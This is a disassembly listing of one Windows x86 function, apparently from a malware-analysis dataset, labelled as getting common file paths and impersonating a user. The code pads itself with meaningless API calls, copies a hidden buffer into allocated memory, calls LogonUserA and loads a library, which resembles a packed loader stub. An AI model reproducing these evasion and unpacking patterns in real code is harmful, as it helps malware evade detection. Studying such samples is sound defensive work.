Function at 0x404177
Capabilities:
Get common file path
Impersonate user

Disassembly:
mov eax, 0x42f2d6
call fcn.0042f1d0
mov eax, 0x1850
call fcn.00410520
push ebx
push esi
xor esi, esi
cmp dword [0x4e2910], 0x5b1
push edi
jne 0x40424c
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLocalTime]
push esi
push dword [ebp - 0x14]
lea eax, [ebp - 0xc5c]
push eax
push esi
call dword [sym.imp.SHELL32.dll_ShellAboutW]
lea eax, [ebp - 0x3c]
call fcn.004044f3
push esi
mov dword [ebp - 4], esi
call fcn.00405e45
pop ecx
call fcn.004051fd
push 0x403854
lea ecx, [ebp - 0x20]
call fcn.00403c70
lea ecx, [ebp - 0x20]
call fcn.00403c8c
lea ecx, [ebp - 0x20]
call fcn.00403cd2
lea ecx, [ebp - 0x20]
call fcn.00403ceb
push esi
push esi
call fcn.00405a4e
push esi
call fcn.00405a1f
add esp, 0xc
call fcn.00405202
push esi
call fcn.00405ec1
mov dword [esp], esi
call fcn.00403ddc
fstp st(0)
push esi
call fcn.00405a08
pop ecx
lea eax, [ebp - 0x58]
push eax
call fcn.00404526
lea eax, [ebp - 0x58]
push eax
call fcn.00404567
or dword [ebp - 4], 0xffffffff
lea edi, [ebp - 0x3c]
call fcn.00404518
add dword [0x4e2910], 0x1134b
push dword [0x4e2910]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4e1860], eax
call fcn.004040c2
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x404295
inc edi
cmp edi, 0x4f6a4
jl 0x404275
xor edi, edi
cmp dword [0x4e2910], esi
jbe 0x4042db
cmp dword [0x4e2910], 0xa8
mov eax, dword [0x4e2914]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4e1860]
mov byte [ecx + edi], al
jne 0x4042d2
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ADVAPI32.dll_LogonUserA]
inc edi
cmp edi, dword [0x4e2910]
jb 0x40429f
xor edi, edi
mov eax, dword [0x4e2910]
add eax, edi
cmp eax, 0xe
jne 0x404321
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
lea eax, [ebp - 0xc5c]
push eax
push esi
push 0x403864
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [ebp - 0x185c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x4042dd
call fcn.00403fbb
xor edi, edi
call ebx
cmp edi, 0x26
jne 0x40433d
call fcn.004040a8
inc edi
cmp edi, 0x6753f
jl 0x404331
push 0x7b
pop edi
cmp dword [0x4e2910], 0x86
jne 0x404380
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push esi
push esi
call sub.KERNEL32.dll_Process32FirstW
push esi
lea eax, [ebp - 0x105c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x4e2910], 0xf
jne 0x404391
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
dec edi
jne 0x404349
push 0x403874
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret